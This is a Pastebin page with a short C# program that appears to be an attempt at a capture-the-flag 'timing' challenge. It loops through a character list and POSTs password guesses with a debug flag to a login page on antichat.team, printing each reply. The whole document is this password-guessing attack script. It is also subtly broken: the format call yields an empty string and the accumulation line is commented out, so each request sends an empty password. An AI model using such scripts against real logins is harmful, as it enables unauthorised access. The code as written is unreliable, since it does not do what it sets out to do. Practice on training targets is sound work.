Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.IO;
- using System.Net;
- using System.Text;
- namespace Antichat2
- {
- public class Program
- {
- public static void Main(string[] args)
- {
- string site = @"https://antichat.team/tasks/timing/login.php";
- string wordlist = "[]!@;:._-+=()QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890{}";
- foreach (Char chr in wordlist)
- {
- string pass = String.Format("", chr);
- //pass += String.Format( "{0}", chr);
- Console.WriteLine(POST(site, String.Format("password={0}&debug=true", pass)));
- Console.Write("------" + pass);
- }
- Console.ReadKey();
- }
- private static string POST(string Url, string Data)
- {
- WebRequest req = WebRequest.Create(Url);
- req.Method = "POST";
- req.ContentType = "application/x-www-form-urlencoded";
- byte[] sentData = Encoding.GetEncoding(1251).GetBytes(Data);
- req.ContentLength = sentData.Length;
- Stream sendStream = req.GetRequestStream();
- sendStream.Write(sentData, 0, sentData.Length);
- sendStream.Close();
- HttpWebResponse res = (HttpWebResponse)req.GetResponse();
- Stream ReceiveStream = res.GetResponseStream();
- StreamReader sr = new StreamReader(ReceiveStream, Encoding.UTF8);
- Char[] read = new Char[256];
- int count = sr.Read(read, 0, 256);
- string Out = String.Empty;
- while (count > 0)
- {
- String str = new String(read, 0, count);
- Out += str;
- count = sr.Read(read, 0, 256);
- }
- return Out;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement